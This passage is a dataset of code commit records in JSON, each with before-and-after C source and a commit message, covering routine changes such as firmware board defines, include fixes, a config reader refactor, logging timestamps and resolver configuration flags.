anebeckman\/gpdb,randomtask1155\/gpdb,yazun\/postgres-xl,ahachete\/gpdb,CraigHarris\/gpdb,greenplum-db\/gpdb,atris\/gpdb,yuanzhao\/gpdb,greenplum-db\/gpdb,royc1\/gpdb,royc1\/gpdb,50wu\/gpdb,lpetrov-pivotal\/gpdb,ovr\/postgres-xl,Quikling\/gpdb,kaknikhil\/gpdb,randomtask1155\/gpdb,lpetrov-pivotal\/gpdb,ashwinstar\/gpdb,jmcatamney\/gpdb,arcivanov\/postgres-xl,zaksoup\/gpdb,50wu\/gpdb,Quikling\/gpdb,foyzur\/gpdb,lisakowen\/gpdb,cjcjameson\/gpdb,janebeckman\/gpdb,yuanzhao\/gpdb,lintzc\/gpdb,postmind-net\/postgres-xl,pavanvd\/postgres-xl,kmjungersen\/PostgresXL,0x0FFF\/gpdb,randomtask1155\/gpdb,yazun\/postgres-xl,edespino\/gpdb,postmind-net\/postgres-xl,greenplum-db\/gpdb,ashwinstar\/gpdb,ahachete\/gpdb,ahachete\/gpdb,0x0FFF\/gpdb,lintzc\/gpdb,adam8157\/gpdb,ashwinstar\/gpdb,zaksoup\/gpdb,chrishajas\/gpdb,yuanzhao\/gpdb,adam8157\/gpdb,tpostgres-projects\/tPostgres,techdragon\/Postgres-XL,lpetrov-pivotal\/gpdb,chrishajas\/gpdb,kmjungersen\/PostgresXL,cjcjameson\/gpdb,atris\/gpdb,Postgres-XL\/Postgres-XL,zaksoup\/gpdb,lintzc\/gpdb,adam8157\/gpdb,xinzweb\/gpdb,randomtask1155\/gpdb,lintzc\/gpdb,lisakowen\/gpdb,lisakowen\/gpdb,xinzweb\/gpdb,ahachete\/gpdb,zeroae\/postgres-xl,royc1\/gpdb,cjcjameson\/gpdb,yazun\/postgres-xl,edespino\/gpdb,rvs\/gpdb,foyzur\/gpdb,rvs\/gpdb,kaknikhil\/gpdb,rvs\/gpdb,atris\/gpdb,tangp3\/gpdb,lisakowen\/gpdb,foyzur\/gpdb,50wu\/gpdb,tpostgres-projects\/tPostgres,ashwinstar\/gpdb,techdragon\/Postgres-XL,atris\/gpdb,xinzweb\/gpdb,jmcatamney\/gpdb,snaga\/postgres-xl,ashwinstar\/gpdb,rvs\/gpdb,CraigHarris\/gpdb,lpetrov-pivotal\/gpdb,rubikloud\/gpdb,yuanzhao\/gpdb,ahachete\/gpdb,Postgres-XL\/Postgres-XL,chrishajas\/gpdb,janebeckman\/gpdb,50wu\/gpdb,tangp3\/gpdb,xuegang\/gpdb,zaksoup\/gpdb,yazun\/postgres-xl,50wu\/gpdb,yuanzhao\/gpdb,janebeckman\/gpdb,janebeckman\/gpdb,pavanvd\/postgres-xl,snaga\/postgres-xl,kaknikhil\/gpdb,postmind-net\/postgres-xl,postmind-net\/postgres-xl,lintzc\/gpdb,ovr\/postgres-xl,xinzweb\/gpdb,greenplum-db\/gpdb,Quikling\/gpdb,Chibin\/gpdb,adam8157\/gpdb,jmcatamney\/gpdb,cjcjameson\/gpdb,foyzur\/gpdb,oberstet\/postgres-xl,jmcatamney\/gpdb,rvs\/gpdb,50wu\/gpdb,Quikling\/gpdb,edespino\/gpdb,Postgres-XL\/Postgres-XL,Quikling\/gpdb,tangp3\/gpdb,royc1\/gpdb,edespino\/gpdb,techdragon\/Postgres-XL,xinzweb\/gpdb,yuanzhao\/gpdb,lpetrov-pivotal\/gpdb,zaksoup\/gpdb,cjcjameson\/gpdb,0x0FFF\/gpdb,Chibin\/gpdb,Chibin\/gpdb,tangp3\/gpdb,tangp3\/gpdb,arcivanov\/postgres-xl,CraigHarris\/gpdb,ovr\/postgres-xl,royc1\/gpdb,chrishajas\/gpdb,ashwinstar\/gpdb,zaksoup\/gpdb,Postgres-XL\/Postgres-XL,oberstet\/postgres-xl,arcivanov\/postgres-xl,tangp3\/gpdb"}
{"commit":"79fadd8f36f90b29386d3dd7d23bae016d4b8671","old_file":"plat\/ti\/k3\/board\/generic\/include\/board_def.h","new_file":"plat\/ti\/k3\/board\/generic\/include\/board_def.h","old_contents":"\/*\n * Copyright (c) 2017-2018, ARM Limited and Contributors. All rights reserved.\n *\n * SPDX-License-Identifier: BSD-3-Clause\n *\/\n\n#ifndef BOARD_DEF_H\n#define BOARD_DEF_H\n\n#include <lib\/utils_def.h>\n\n\/* The ports must be in order and contiguous *\/\n#define K3_CLUSTER0_CORE_COUNT\t\t2\n#define K3_CLUSTER1_CORE_COUNT\t\t2\n#define K3_CLUSTER2_CORE_COUNT\t\t2\n#define K3_CLUSTER3_CORE_COUNT\t\t2\n\n\/*\n * This RAM will be used for the bootloader including code, bss, and stacks.\n * It may need to be increased if BL31 grows in size.\n *\/\n#define SEC_SRAM_BASE\t\t\t0x70000000 \/* Base of MSMC SRAM *\/\n#define SEC_SRAM_SIZE\t\t\t0x00020000 \/* 128k *\/\n\n#define PLAT_MAX_OFF_STATE\t\tU(2)\n#define PLAT_MAX_RET_STATE\t\tU(1)\n\n#define PLAT_PROC_START_ID\t\t32\n#define PLAT_PROC_DEVICE_START_ID\t202\n\n#endif \/* BOARD_DEF_H *\/\n","new_contents":"\/*\n * Copyright (c) 2017-2019, ARM Limited and Contributors. All rights reserved.\n *\n * SPDX-License-Identifier: BSD-3-Clause\n *\/\n\n#ifndef BOARD_DEF_H\n#define BOARD_DEF_H\n\n#include <lib\/utils_def.h>\n\n\/* The ports must be in order and contiguous *\/\n#define K3_CLUSTER0_CORE_COUNT\t\tU(2)\n#define K3_CLUSTER1_CORE_COUNT\t\tU(2)\n#define K3_CLUSTER2_CORE_COUNT\t\tU(2)\n#define K3_CLUSTER3_CORE_COUNT\t\tU(2)\n\n\/*\n * This RAM will be used for the bootloader including code, bss, and stacks.\n * It may need to be increased if BL31 grows in size.\n *\/\n#define SEC_SRAM_BASE\t\t\t0x70000000 \/* Base of MSMC SRAM *\/\n#define SEC_SRAM_SIZE\t\t\t0x00020000 \/* 128k *\/\n\n#define PLAT_MAX_OFF_STATE\t\tU(2)\n#define PLAT_MAX_RET_STATE\t\tU(1)\n\n#define PLAT_PROC_START_ID\t\t32\n#define PLAT_PROC_DEVICE_START_ID\t202\n\n#endif \/* BOARD_DEF_H *\/\n","subject":"Unify Platform specific defines for PSCI module","message":"ti: Unify Platform specific defines for PSCI module\n\nPLATFORM_CORE_COUNT - Unsigned int\nPLATFORM_CLUSTER_COUNT - Unsigned int\nPLATFORM_MAX_CPUS_PER_CLUSTER - Unsigned int\nPLATFORM_CORE_COUNT_PER_CLUSTER - Unsigned int\n\nSigned-off-by: Deepika Bhavnani <095849dccdc2dcad20acc908a1b020ea4af994c4@arm.com>\nChange-Id: Ia7072d82116b03904c1b3982f37d96347203e621\n","lang":"C","license":"bsd-3-clause","repos":"achingupta\/arm-trusted-firmware,achingupta\/arm-trusted-firmware"}
{"commit":"e1333803c3a8fb167ba67ffc5540dbb53fa7deb3","old_file":"arch\/powerpc\/kernel\/lparmap.c","new_file":"arch\/powerpc\/kernel\/lparmap.c","old_contents":"\/*\n * Copyright (C) 2005  Stephen Rothwell  IBM Corp.\n *\n * This program is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version\n * 2 of the License, or (at your option) any later version.\n *\/\n#include <asm\/mmu.h>\n#include <asm\/page.h>\n#include <asm\/iseries\/lpar_map.h>\n\nconst struct LparMap __attribute__((__section__(\".text\"))) xLparMap = {\n\t.xNumberEsids = HvEsidsToMap,\n\t.xNumberRanges = HvRangesToMap,\n\t.xSegmentTableOffs = STAB0_PAGE,\n\n\t.xEsids = {\n\t\t{ .xKernelEsid = GET_ESID(PAGE_OFFSET),\n\t\t  .xKernelVsid = KERNEL_VSID(PAGE_OFFSET), },\n\t\t{ .xKernelEsid = GET_ESID(VMALLOC_START),\n\t\t  .xKernelVsid = KERNEL_VSID(VMALLOC_START), },\n\t},\n\n\t.xRanges = {\n\t\t{ .xPages = HvPagesToMap,\n\t\t  .xOffset = 0,\n\t\t  .xVPN = KERNEL_VSID(PAGE_OFFSET) << (SID_SHIFT - HW_PAGE_SHIFT),\n\t\t},\n\t},\n};\n","new_contents":"\/*\n * Copyright (C) 2005  Stephen Rothwell  IBM Corp.\n *\n * This program is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version\n * 2 of the License, or (at your option) any later version.\n *\/\n#include <asm\/mmu.h>\n#include <asm\/pgtable.h>\n#include <asm\/iseries\/lpar_map.h>\n\nconst struct LparMap __attribute__((__section__(\".text\"))) xLparMap = {\n\t.xNumberEsids = HvEsidsToMap,\n\t.xNumberRanges = HvRangesToMap,\n\t.xSegmentTableOffs = STAB0_PAGE,\n\n\t.xEsids = {\n\t\t{ .xKernelEsid = GET_ESID(PAGE_OFFSET),\n\t\t  .xKernelVsid = KERNEL_VSID(PAGE_OFFSET), },\n\t\t{ .xKernelEsid = GET_ESID(VMALLOC_START),\n\t\t  .xKernelVsid = KERNEL_VSID(VMALLOC_START), },\n\t},\n\n\t.xRanges = {\n\t\t{ .xPages = HvPagesToMap,\n\t\t  .xOffset = 0,\n\t\t  .xVPN = KERNEL_VSID(PAGE_OFFSET) << (SID_SHIFT - HW_PAGE_SHIFT),\n\t\t},\n\t},\n};\n","subject":"Fix iSeries bug in VMALLOCBASE\/VMALLOC_START consolidation","message":"[PATCH] powerpc: Fix iSeries bug in VMALLOCBASE\/VMALLOC_START consolidation\n\nOops, forgot to compile the VMALLOCBASE\/VMALLOC_START patch on\niSeries.  VMALLOC_START is defined in pgtable.h whereas previously\nVMALLOCBASE was previously defined in page.h.  lparmap.c needs to be\nupdated appropriately.\n\nBooted on iSeries RS64 (now).\n\nSigned-off-by: David Gibson <58469ba664997fcb401d465b27655a3c41d34e08@au1.ibm.com>\nSigned-off-by: Paul Mackerras <19a0ba370c443ba08d20b5061586430ab449ee8c@samba.org>\n","lang":"C","license":"apache-2.0","repos":"TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs"}
{"commit":"ba24c53c1c9e7dea32d2ae4bf6167a1eeb34b036","old_file":"tomviz\/h5cpp\/h5capi.h","new_file":"tomviz\/h5cpp\/h5capi.h","old_contents":"\/* This source file is part of the Tomviz project, https:\/\/tomviz.org\/.\n   It is released under the 3-Clause BSD License, see \"LICENSE\". *\/\n\n#ifndef tomvizH5CAPI_h\n#define tomvizH5CAPI_h\n\nextern \"C\"\n{\n#include <hdf5.h>\n}\n\n#endif \/\/ tomvizH5CAPI_h\n","new_contents":"\/* This source file is part of the Tomviz project, https:\/\/tomviz.org\/.\n   It is released under the 3-Clause BSD License, see \"LICENSE\". *\/\n\n#ifndef tomvizH5CAPI_h\n#define tomvizH5CAPI_h\n\nextern \"C\"\n{\n#include <vtk_hdf5.h>\n}\n\n#endif \/\/ tomvizH5CAPI_h\n","subject":"Include vtk_hdf5.h rather than hdf5.h","message":"Include vtk_hdf5.h rather than hdf5.h\n\nThis ensures we pick up the VTK version of HDF5.\n\nSigned-off-by: Chris Harris <a361e89d1eba6c570561222d75facbbf7aaeeafe@kitware.com>\n","lang":"C","license":"bsd-3-clause","repos":"OpenChemistry\/tomviz,OpenChemistry\/tomviz,OpenChemistry\/tomviz,OpenChemistry\/tomviz"}
{"commit":"e7a20e7f447cb48b55c95aa1d8f94be0b72f8d8c","old_file":"src\/configreader.h","new_file":"src\/configreader.h","old_contents":"#include <map>\n#include <sstream>\n#include <string>\n\nclass ConfigReader {\npublic:\n\tConfigReader();\n\tConfigReader(const std::string &filename);\n\n\tbool LoadFile(const std::string &filename);\n\n\ttemplate<typename T>\n\tT GetOption(const std::string &name, const T &defaultValue) const {\n\t\tstd::map<std::string, std::string>::const_iterator it = options_.find(name);\n\t\tif (it == options_.end()) {\n\t\t\treturn defaultValue;\n\t\t}\n\t\tstd::stringstream sstream(it->second);\n\t\tT value;\n\t\tsstream >> value;\n\t\tif (!sstream) {\n\t\t\treturn defaultValue;\n\t\t}\n\t\treturn value;\n\t}\n\n\tbool IsLoaded() const { return loaded_; }\n\nprivate:\n\tbool loaded_;\n\tstd::map<std::string, std::string> options_;\n};\n\n","new_contents":"#include <map>\n#include <sstream>\n#include <string>\n\nclass ConfigReader {\npublic:\n\tConfigReader();\n\tConfigReader(const std::string &filename);\n\n\tbool LoadFile(const std::string &filename);\n\n\ttemplate<typename T>\n\tT GetOption(const std::string &name, const T &defaultValue) const;\n\n\tbool IsLoaded() const { return loaded_; }\n\nprivate:\n\tbool loaded_;\n\tstd::map<std::string, std::string> options_;\n};\n\ntemplate<typename T>\nT ConfigReader::GetOption(const std::string &name, const T &defaultValue) const {\n\tstd::map<std::string, std::string>::const_iterator it = options_.find(name);\n\tif (it == options_.end()) {\n\t\treturn defaultValue;\n\t}\n\tstd::stringstream sstream(it->second);\n\tT value;\n\tsstream >> value;\n\tif (!sstream) {\n\t\treturn defaultValue;\n\t}\n\treturn value;\n}","subject":"Move ConfigReader::GetOption()'s implementation outside of class definition","message":"Move ConfigReader::GetOption()'s implementation outside of class definition\n","lang":"C","license":"bsd-2-clause","repos":"Zeex\/samp-plugin-profiler,Zeex\/samp-plugin-profiler"}
{"commit":"70c659b68235c4d36dd02c255304523710003884","old_file":"wangle\/ssl\/SSLStats.h","new_file":"wangle\/ssl\/SSLStats.h","old_contents":"\/*\n *  Copyright (c) 2017, Facebook, Inc.\n *  All rights reserved.\n *\n *  This source code is licensed under the BSD-style license found in the\n *  LICENSE file in the root directory of this source tree. An additional grant\n *  of patent rights can be found in the PATENTS file in the same directory.\n *\n *\/\n#pragma once\n\nnamespace wangle {\n\nclass SSLStats {\n public:\n  virtual ~SSLStats() noexcept {}\n\n  \/\/ downstream\n  virtual void recordSSLAcceptLatency(int64_t latency) noexcept = 0;\n  virtual void recordTLSTicket(bool ticketNew, bool ticketHit) noexcept = 0;\n  virtual void recordSSLSession(bool sessionNew, bool sessionHit, bool foreign)\n    noexcept = 0;\n  virtual void recordSSLSessionRemove() noexcept = 0;\n  virtual void recordSSLSessionFree(uint32_t freed) noexcept = 0;\n  virtual void recordSSLSessionSetError(uint32_t err) noexcept = 0;\n  virtual void recordSSLSessionGetError(uint32_t err) noexcept = 0;\n  virtual void recordClientRenegotiation() noexcept = 0;\n\n  \/\/ upstream\n  virtual void recordSSLUpstreamConnection(bool handshake) noexcept = 0;\n  virtual void recordSSLUpstreamConnectionError(bool verifyError) noexcept = 0;\n\n};\n\n} \/\/ namespace wangle\n","new_contents":"\/*\n *  Copyright (c) 2017, Facebook, Inc.\n *  All rights reserved.\n *\n *  This source code is licensed under the BSD-style license found in the\n *  LICENSE file in the root directory of this source tree. An additional grant\n *  of patent rights can be found in the PATENTS file in the same directory.\n *\n *\/\n#pragma once\n\nnamespace wangle {\n\nclass SSLStats {\n public:\n  virtual ~SSLStats() noexcept {}\n\n  \/\/ downstream\n  virtual void recordSSLAcceptLatency(int64_t latency) noexcept = 0;\n  virtual void recordTLSTicket(bool ticketNew, bool ticketHit) noexcept = 0;\n  virtual void recordSSLSession(bool sessionNew, bool sessionHit, bool foreign)\n    noexcept = 0;\n  virtual void recordSSLSessionRemove() noexcept = 0;\n  virtual void recordSSLSessionFree(uint32_t freed) noexcept = 0;\n  virtual void recordSSLSessionSetError(uint32_t err) noexcept = 0;\n  virtual void recordSSLSessionGetError(uint32_t err) noexcept = 0;\n  virtual void recordClientRenegotiation() noexcept = 0;\n  virtual void recordSSLClientCertificateMismatch() noexcept = 0;\n\n  \/\/ upstream\n  virtual void recordSSLUpstreamConnection(bool handshake) noexcept = 0;\n  virtual void recordSSLUpstreamConnectionError(bool verifyError) noexcept = 0;\n\n};\n\n} \/\/ namespace wangle\n","subject":"Add a counter for client cert verification mismatches","message":"Add a counter for client cert verification mismatches\n\nSummary: As per title\n\nReviewed By: yfeldblum\n\nDifferential Revision: D4665764\n\nfbshipit-source-id: 7051a3958900ac3c3387f1b7e08e45ae38abcc73\n","lang":"C","license":"apache-2.0","repos":"facebook\/wangle,facebook\/wangle,facebook\/wangle"}
{"commit":"c938a893593fa7ea2e596ec41e186cdfbaee4e58","old_file":"src\/utils.c","new_file":"src\/utils.c","old_contents":"#include <stdio.h>\n#include <stdarg.h>\n\nstatic FILE* g_logfile = NULL;\n\nint message (const char* fmt, ...)\n{\n\tva_list ap;\n\t\n\tif (g_logfile) {\n\t\tva_start (ap, fmt);\n\t\tvfprintf (g_logfile, fmt, ap);\n\t\tva_end (ap);\n\t}\n\t\n\tva_start (ap, fmt);\n\tint rc = vfprintf (stdout, fmt, ap);\n\tva_end (ap);\n\t\n\treturn rc;\n}\n\nvoid message_set_logfile (const char* filename)\n{\n\tif (g_logfile) {\n\t\tfclose (g_logfile);\n\t\tg_logfile = NULL;\n\t}\n\t\t\n\tif (filename)\n\t\tg_logfile = fopen (filename, \"w\");\n}\n","new_contents":"#include <stdio.h>\n#include <stdarg.h>\n#include <string.h>\n\nstatic FILE* g_logfile = NULL;\n\nstatic unsigned char g_lastchar = '\\n';\n\n#ifdef _WIN32\n\t#include <windows.h>\n\tstatic unsigned long g_timestamp;\n#else\n\t#include <sys\/time.h>\n\tstatic struct timeval g_timestamp;\n#endif\n\nint message (const char* fmt, ...)\n{\n\tva_list ap;\n\n\tif (g_logfile) {\n\t\tif (g_lastchar == '\\n') {\n#ifdef _WIN32\n\t\t\tunsigned long timestamp = GetTickCount () - g_timestamp;\n\t\t\tunsigned long sec = timestamp \/ 1000L, msec = timestamp % 1000L;\n\t\t\tfprintf (g_logfile, \"[%li.%03li] \", sec, msec);\n#else\n\t\t\tstruct timeval now = {0}, timestamp = {0};\n\t\t\tgettimeofday (&now, NULL);\n\t\t\ttimersub (&now, &g_timestamp, &timestamp);\n\t\t\tfprintf (g_logfile, \"[%lli.%06lli] \", (long long)timestamp.tv_sec, (long long)timestamp.tv_usec);\n#endif\n\t\t}\n\n\t\tsize_t len = strlen (fmt);\n\t\tif (len > 0)\n\t\t\tg_lastchar = fmt[len - 1];\n\t\telse\n\t\t\tg_lastchar = 0;\n\n\t\tva_start (ap, fmt);\n\t\tvfprintf (g_logfile, fmt, ap);\n\t\tva_end (ap);\n\t}\n\n\tva_start (ap, fmt);\n\tint rc = vfprintf (stdout, fmt, ap);\n\tva_end (ap);\n\n\treturn rc;\n}\n\nvoid message_set_logfile (const char* filename)\n{\n\tif (g_logfile) {\n\t\tfclose (g_logfile);\n\t\tg_logfile = NULL;\n\t}\n\n\tif (filename)\n\t\tg_logfile = fopen (filename, \"w\");\n\n\tif (g_logfile) {\n\t\tg_lastchar = '\\n';\n#ifdef _WIN32\n\t\tg_timestamp = GetTickCount ();\n#else\n\t\tgettimeofday (&g_timestamp, NULL);\n#endif\n\t}\n}\n","subject":"Write timestamps to the logfile.","message":"Write timestamps to the logfile.\n","lang":"C","license":"lgpl-2.1","repos":"josh-wambua\/libdivecomputer,andysan\/libdivecomputer,glance-\/libdivecomputer,venkateshshukla\/libdivecomputer,henrik242\/libdivecomputer,Poltsi\/libdivecomputer-vms,glance-\/libdivecomputer,venkateshshukla\/libdivecomputer,andysan\/libdivecomputer,henrik242\/libdivecomputer,josh-wambua\/libdivecomputer"}
{"commit":"62b62db673984849e2d057e5c4b1a0f1ba5dfe52","old_file":"src\/engine\/parallell\/cl_parallell.h","new_file":"src\/engine\/parallell\/cl_parallell.h","old_contents":"#ifndef ENGINE_PARALLELL_CLPARALLELL_H_\n#define ENGINE_PARALLELL_CLPARALLELL_H_\n\n\/* OpenCL 1.2 *\/\n#define CL_HPP_MINIMUM_OPENCL_VERSION 120\n#define CL_HPP_TARGET_OPENCL_VERSION 120\n\n#define CL_HPP_ENABLE_EXCEPTIONS\n\n#include <vector>\n#include <tbb\/mutex.h>\n\n#ifdef __APPLE__\n    #include <OpenCL\/cl2.hpp>\n#else\n    #include <CL\/cl2.hpp>\n#endif\n\n#include \"engine\/parallell\/engine_parallell.h\"\n\nnamespace engine {\nnamespace parallell {\n\nclass CLParallell : public EngineParallell {\n\npublic:\n    void InitCollisionParallell() override final;\n    float ComputeCollisionParallell(float box1[], float box2[]) override final;\n    ~CLParallell() override = default;\n\nprivate:\n    cl::Kernel cl_kernel_;\n    cl::CommandQueue cl_queue_;\n    std::vector<cl::Buffer> bufferin_;\n    std::vector<cl::Buffer> bufferout_;\n    int wk_size_{4};\n    tbb::mutex collision_mutex_;\n};\n\n}\/\/namespace parallell\n}\/\/namespace engine\n\n#endif \/\/ENGINE_PARALLELL_CLPARALLELL_H_\n","new_contents":"#ifndef ENGINE_PARALLELL_CLPARALLELL_H_\n#define ENGINE_PARALLELL_CLPARALLELL_H_\n\n\/* OpenCL 1.2 *\/\n#define CL_HPP_MINIMUM_OPENCL_VERSION 120\n#define CL_HPP_TARGET_OPENCL_VERSION 120\n\n#define CL_HPP_ENABLE_EXCEPTIONS\n\n#include <vector>\n#include <tbb\/mutex.h>\n\n#ifdef __APPLE__\n    #include <OpenCL\/cl2.hpp>\n#else\n    #include <CL\/cl2.hpp>\n#endif\n\n#include \"engine\/parallell\/engine_parallell.h\"\n\nnamespace engine {\nnamespace parallell {\n\nclass CLParallell : public EngineParallell {\n\npublic:\n    void InitCollisionParallell() override final;\n    float ComputeCollisionParallell(float box1[], float box2[]) override final;\n    ~CLParallell() override = default;\n\nprivate:\n    cl::Kernel cl_kernel_;\n    cl::CommandQueue cl_queue_;\n    std::vector<cl::Buffer> bufferin_;\n    std::vector<cl::Buffer> bufferout_;\n    int wk_size_{32};\n    tbb::mutex collision_mutex_;\n};\n\n}\/\/namespace parallell\n}\/\/namespace engine\n\n#endif \/\/ENGINE_PARALLELL_CLPARALLELL_H_\n","subject":"Change default wksize for opencl config","message":"Change default wksize for opencl config\n","lang":"C","license":"mit","repos":"ricofehr\/enginepp,ricofehr\/enginepp,ricofehr\/enginepp"}
{"commit":"57830441ac4e0d9f470798859c7e41aae75b41b0","old_file":"src\/modules\/StatusCode.c","new_file":"src\/modules\/StatusCode.c","old_contents":"#include \"StatusCode.h\"\n\nHttpseCode\nhttpse_check_status_code(const HttpseTData *tdata)\n{\n\tlong cp = 0, cs = 0;\n\n\tcurl_easy_getinfo(tdata->rp->curl, CURLINFO_RESPONSE_CODE, &cp);\n\tcurl_easy_getinfo(tdata->rs->curl, CURLINFO_RESPONSE_CODE, &cs);\n\n\tif(cs && cp)\n\t{\n\t\tif(cs != cp)\n\t\t{\n\t\t\treturn HTTPSE_STATUS_CODE_MISMATCH;\n\t\t}\n\n\t\tswitch(cp\/ 100)\n\t\t{\n\t\tcase 2:\n\t\tcase 3:\n\t\t\treturn HTTPSE_OK;\n\n\t\tcase 4:\n\t\t\treturn HTTPSE_STATUS_CODE_4XX;\n\n\t\tcase 5:\n\t\t\treturn HTTPSE_STATUS_CODE_5XX;\n\t\t\n\t\tdefault:\n\t\t\treturn HTTPSE_STATUS_CODE_OTHERS;\n\t\t}\n\t}\n\n\t\/* Remark: Unreachable code. *\/\n\treturn HTTPSE_ERROR_UNKNOWN;\n}\n","new_contents":"#include \"StatusCode.h\"\n\nHttpseCode\nhttpse_check_status_code(const HttpseTData *tdata)\n{\n\tlong cp = 0;\n\tlong cs = 0;\n\n\n\tcurl_easy_getinfo(tdata->rp->curl, CURLINFO_RESPONSE_CODE, &cp);\n\tcurl_easy_getinfo(tdata->rs->curl, CURLINFO_RESPONSE_CODE, &cs);\n\n\n\tif(cs == cp)\n\t{\n\t\tswitch(cp\/ 100)\n\t\t{\n\t\t\/* Remark: unable to recieve HTTP response code, skip tests *\/\n\t\tcase 0:\n\n\t\t\/* Remark: everything is OK *\/\n\t\tcase 2:\n\t\tcase 3:\n\t\t\treturn HTTPSE_OK;\n\n\t\tcase 4:\n\t\t\treturn HTTPSE_STATUS_CODE_4XX;\n\n\t\tcase 5:\n\t\t\treturn HTTPSE_STATUS_CODE_5XX;\n\t\t\n\t\tdefault:\n\t\t\treturn HTTPSE_STATUS_CODE_OTHERS;\n\t\t}\n\t}\n\treturn HTTPSE_STATUS_CODE_MISMATCH;\n}\n","subject":"Fix coding style and improve readability","message":"Fix coding style and improve readability\n","lang":"C","license":"apache-2.0","repos":"cschanaj\/xhttpse2,cschanaj\/xhttpse2"}
{"commit":"fe83b07a6c98da79d9930a64c142e171fc0803f6","old_file":"tests\/regression\/02-base\/71-ad-widen-duplicate.c","new_file":"tests\/regression\/02-base\/71-ad-widen-duplicate.c","old_contents":"","new_contents":"\/\/ https:\/\/github.com\/goblint\/analyzer\/issues\/554\nint a;\n\nint main() { c(&a); }\nint c(int *f) {\n  unsigned long d;\n  int *e = &a;\n  d = 0;\n  while (1) {\n    e = f++;\n    d++;\n  }\n}\n","subject":"Add test where address domain widening creates duplicates","message":"Add test where address domain widening creates duplicates\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"c48db1d71212705488fef88b5d12bc7aa2883863","old_file":"lib\/libc\/net\/res_config.h","new_file":"lib\/libc\/net\/res_config.h","old_contents":"#define DEBUG\t\t\/* enable debugging code (needed for dig) *\/\n#undef\tALLOW_T_UNSPEC\t\/* enable the \"unspec\" RR type for old athena *\/\n#define\tRESOLVSORT\t\/* allow sorting of addresses in gethostbyname *\/\n#undef\tRFC1535\t\t\/* comply with RFC1535 *\/\n#undef\tALLOW_UPDATES\t\/* destroy your system security *\/\n#undef\tUSELOOPBACK\t\/* res_init() bind to localhost *\/\n#undef\tSUNSECURITY\t\/* verify gethostbyaddr() calls - WE DONT NEED IT  *\/\n","new_contents":"#define\tDEBUG\t1\t\/* enable debugging code (needed for dig) *\/\n#undef\tALLOW_T_UNSPEC\t\/* enable the \"unspec\" RR type for old athena *\/\n#define\tRESOLVSORT\t\/* allow sorting of addresses in gethostbyname *\/\n#undef\tRFC1535\t\t\/* comply with RFC1535 *\/\n#undef\tALLOW_UPDATES\t\/* destroy your system security *\/\n#undef\tUSELOOPBACK\t\/* res_init() bind to localhost *\/\n#undef\tSUNSECURITY\t\/* verify gethostbyaddr() calls - WE DONT NEED IT  *\/\n","subject":"Define DEBUG as 1 instead of as nothing so that it doesn't conflict with -DDEBUG in libresolv\/Makefile.","message":"Define DEBUG as 1 instead of as nothing so that it doesn't conflict with\n-DDEBUG in libresolv\/Makefile.\n","lang":"C","license":"bsd-3-clause","repos":"jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase,jrobhoward\/SCADAbase"}
{"commit":"1bd430675c66ab64791a1aaf8260fd270486651d","old_file":"MdeModulePkg\/Include\/Library\/PeCoffLoaderLib.h","new_file":"MdeModulePkg\/Include\/Library\/PeCoffLoaderLib.h","old_contents":"\/*++\r\n\r\nCopyright (c) 2006, Intel Corporation                                                         \r\nAll rights reserved. This program and the accompanying materials                          \r\nare licensed and made available under the terms and conditions of the BSD License         \r\nwhich accompanies this distribution.  The full text of the license may be found at        \r\nhttp:\/\/opensource.org\/licenses\/bsd-license.php                                            \r\n                                                                                          \r\nTHE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN \"AS IS\" BASIS,                     \r\nWITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.             \r\n\r\nModule Name:\r\n\r\n  EdkPeCoffLoaderLib.h\r\n\r\nAbstract:\r\n  Wrap the Base PE\/COFF loader with the PE COFF Protocol\r\n\r\n  \r\n\r\n--*\/\r\n\r\n#ifndef __PE_COFF_LOADER_LIB_H_\r\n#define __PE_COFF_LOADER_LIB_H_\r\n\r\n#include <Protocol\/PeiPeCoffLoader.h>\r\n\r\nEFI_PEI_PE_COFF_LOADER_PROTOCOL*\r\nEFIAPI\r\nGetPeCoffLoaderProtocol (\r\n  VOID\r\n  );\r\n\r\n#endif\r\n","new_contents":"\/*++\r\n\r\nCopyright (c) 2006, Intel Corporation                                                         \r\nAll rights reserved. This program and the accompanying materials                          \r\nare licensed and made available under the terms and conditions of the BSD License         \r\nwhich accompanies this distribution.  The full text of the license may be found at        \r\nhttp:\/\/opensource.org\/licenses\/bsd-license.php                                            \r\n                                                                                          \r\nTHE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN \"AS IS\" BASIS,                     \r\nWITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.             \r\n\r\nModule Name:\r\n\r\n  EdkPeCoffLoaderLib.h\r\n\r\nAbstract:\r\n  Wrap the Base PE\/COFF loader with the PE COFF Protocol\r\n\r\n  \r\n\r\n--*\/\r\n\r\n#ifndef __PE_COFF_LOADER_LIB_H_\r\n#define __PE_COFF_LOADER_LIB_H_\r\n\r\n#include <Guid\/PeiPeCoffLoader.h>\r\n\r\nEFI_PEI_PE_COFF_LOADER_PROTOCOL*\r\nEFIAPI\r\nGetPeCoffLoaderProtocol (\r\n  VOID\r\n  );\r\n\r\n#endif\r\n","subject":"Move PeiPeCoffLoader from \/Protocol to \/Guid.","message":"Move PeiPeCoffLoader from \/Protocol to \/Guid.\n\ngit-svn-id: 5648d1bec6962b0a6d1d1b40eba8cf5cdb62da3d@3047 